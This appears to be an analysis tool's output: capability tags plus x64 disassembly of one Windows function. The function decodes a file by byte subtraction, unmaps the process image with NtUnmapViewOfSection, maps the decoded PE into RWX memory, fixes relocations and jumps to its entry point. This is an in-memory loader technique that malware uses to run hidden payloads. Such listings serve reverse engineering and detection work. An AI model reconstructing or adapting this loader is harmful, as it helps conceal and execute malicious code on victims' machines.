Function at 0x1400015c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rdi, r9
mov rsi, r8
mov r14, rcx
mov qword [rsp + 0x48], rcx
lea rdx, [0x140026830]
call fcn.14000c6d4
mov rbx, rax
xor r8d, r8d
mov edx, edi
mov rcx, rax
call fcn.14000a208
lea rcx, [rsi + 1]
call fcn.14000ce24
mov rbp, rax
mov r9, rbx
mov r8d, 1
mov rdx, rsi
mov rcx, rax
call fcn.14000c940
mov rcx, rbx
call fcn.140009f00
xor r12d, r12d
mov ecx, r12d
test rsi, rsi
jle 0x140001695
cmp rsi, 0x40
jb 0x140001695
mov r8, rsi
and r8, 0xffffffffffffffc0
movdqa xmm2, xmmword [0x140026b40]
lea rdx, [rbp + 0x20]
nop word [rax + rax]
movdqu xmm0, xmmword [rdx - 0x20]
psubb xmm0, xmm2
movdqu xmmword [rdx - 0x20], xmm0
movdqu xmm0, xmmword [rdx - 0x10]
psubb xmm0, xmm2
movdqu xmmword [rdx - 0x10], xmm0
movdqu xmm1, xmmword [rdx]
psubb xmm1, xmm2
movdqu xmmword [rdx], xmm1
movdqu xmm0, xmmword [rdx + 0x10]
psubb xmm0, xmm2
movdqu xmmword [rdx + 0x10], xmm0
add ecx, 0x40
lea rdx, [rdx + 0x40]
movsxd rax, ecx
cmp rax, r8
jl 0x140001650
movsxd rax, ecx
cmp rax, rsi
jge 0x1400016b1
lea rdx, [rax + rbp]
dec byte [rdx]
inc ecx
lea rdx, [rdx + 1]
movsxd rax, ecx
cmp rax, rsi
jl 0x1400016a1
test rbp, rbp
je 0x14000198d
mov r15d, 0x5a4d
cmp word [rbp], r15w
jne 0x14000198d
movsxd rax, dword [rbp + 0x3c]
cmp eax, 0x400
jg 0x14000198d
lea r13, [rax + rbp]
mov qword [rsp + 0x40], r13
cmp dword [r13], 0x4550
jne 0x14000198d
lea rbx, [r13 + 0xb0]
cmp dword [rbx], r12d
cmove rbx, r12
mov r14, qword [r13 + 0x30]
mov qword [rsp + 0x20], r14
mov rdx, r14
lea rcx, str.___Exe_File_Prefer_Image_Base_at__x_n
call fcn.140001040
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [r13 + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov edx, dword [r13 + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400017ae
test rbx, rbx
jne 0x140001773
lea rcx, str.____Allocate_Image_Base_At__x_Failure._n
jmp 0x140001994
lea rcx, str.___Try_to_Allocate_Memory_for_New_Image_Base_n
call fcn.140001040
mov edx, dword [r13 + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400017ae
lea rcx, str.____Allocate_Memory_For_Image_Base_Failure._n
call fcn.140001040
jmp 0x14000199c
lea rcx, str.___Mapping_Section_...
call fcn.14000a38c
mov qword [r13 + 0x30], rdi
mov r8d, dword [r13 + 0x54]
mov rdx, rbp
mov rcx, rdi
call fcn.14001c670
mov esi, r12d
cmp r12w, word [r13 + 6]
jae 0x140001828
lea rbx, [r13 + 0x11c]
nop
movsxd rax, esi
lea rcx, [rax*4 + 0x21]
add rcx, rax
lea rdx, [rcx*8]
add rdx, r13
lea rcx, str._______Mapping_Section__s_n
call fcn.140001040
mov r8d, dword [rbx - 4]
mov edx, dword [rbx]
add rdx, rbp
mov ecx, dword [rbx - 8]
add rcx, rdi
call fcn.14001c670
inc esi
lea rbx, [rbx + 0x28]
movzx eax, word [r13 + 6]
cmp esi, eax
jl 0x1400017e0
mov rcx, rdi
call fcn.1400012c0
cmp rdi, r14
je 0x14000196d
mov r9d, dword [r13 + 0x50]
mov qword [rsp + 0x28], r9
test rdi, rdi
je 0x14000196d
cmp word [rdi], r15w
jne 0x14000196d
movsxd rax, dword [rdi + 0x3c]
cmp eax, 0x400
jg 0x14000196d
cmp dword [rax + rdi], 0x4550
jne 0x14000196d
mov ecx, dword [rax + rdi + 0xb0]
test ecx, ecx
je 0x14000196d
mov eax, dword [rax + rdi + 0xb4]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
test rax, rax
je 0x14000196d
nop word [rax + rax]
lea r15, [r12 + rcx]
add r15, rdi
mov eax, dword [r15]
test eax, eax
je 0x14000195c
mov ecx, dword [r15 + 4]
test ecx, ecx
je 0x14000195c
lea r14, [rcx - 8]
shr r14, 1
mov r13d, eax
lea rbp, [r15 + 8]
mov esi, 0
je 0x140001926
movzx edx, word [rbp]
mov r8d, edx
shr r8, 0xc
and edx, 0xfff
add rdx, r13
test r8, r8
je 0x140001926
cmp r8, 3
jne 0x14000194c
cmp rdx, r9
jae 0x14000193e
lea rbx, [rdx + rdi]
mov rdx, rbx
lea rcx, str._____V__Apply_Reloc_Field_at__x_n
call fcn.140001040
mov rax, rdi
sub rax, qword [rsp + 0x20]
add qword [rbx], rax
add rbp, 2
inc rsi
cmp rsi, r14
mov r9, qword [rsp + 0x28]
jb 0x1400018d3
mov eax, dword [r15 + 4]
add r12, rax
cmp r12, qword [rsp + 0x30]
jae 0x14000195c
mov rcx, qword [rsp + 0x38]
jmp 0x1400018a0
lea rcx, str.________Out_of_Bound_Field:__lx_n
call fcn.140001040
jmp 0x14000196d
mov edx, esi
lea rcx, str.________Not_supported_relocations_format_at__d:__d_n
call fcn.140001040
jmp 0x14000196d
test r12, r12
je 0x14000196d
lea rcx, str.___Relocation_Fixed.
call fcn.14000a38c
mov rax, qword [rsp + 0x40]
mov ebx, dword [rax + 0x28]
add rbx, rdi
mov rdx, qword [rsp + 0x48]
lea rcx, str.Run_Exe_Module:__s_n
call fcn.140001040
call rbx
jmp 0x1400019a1
lea rcx, str.___File__s_isnt_a_PE_file.
mov rdx, r14
call fcn.140001040
mov eax, 1
mov rbx, qword [rsp + 0x98]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret